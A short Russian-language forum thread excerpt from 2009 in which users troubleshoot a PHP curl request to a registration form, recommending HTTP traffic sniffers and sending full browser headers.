да, у меня также.
Юзай снифаки другие.

geforse
31.05.2009, 18:04
geforse не фф же шлет этот запрос а курл, т.е. пхп...

Туплю))

какой самый актуальный снифер ?)

D Mak
31.05.2009, 18:05
у мня бывало так, один раз оказалось что надо слать все хидеры типа keep-alive user-agent (очень удивлен был), еще бывает что форма типа form-urlencoded но это вроде не должно влиять, последний раз я таки не добил в чем трабла, хотя форма реги простейшая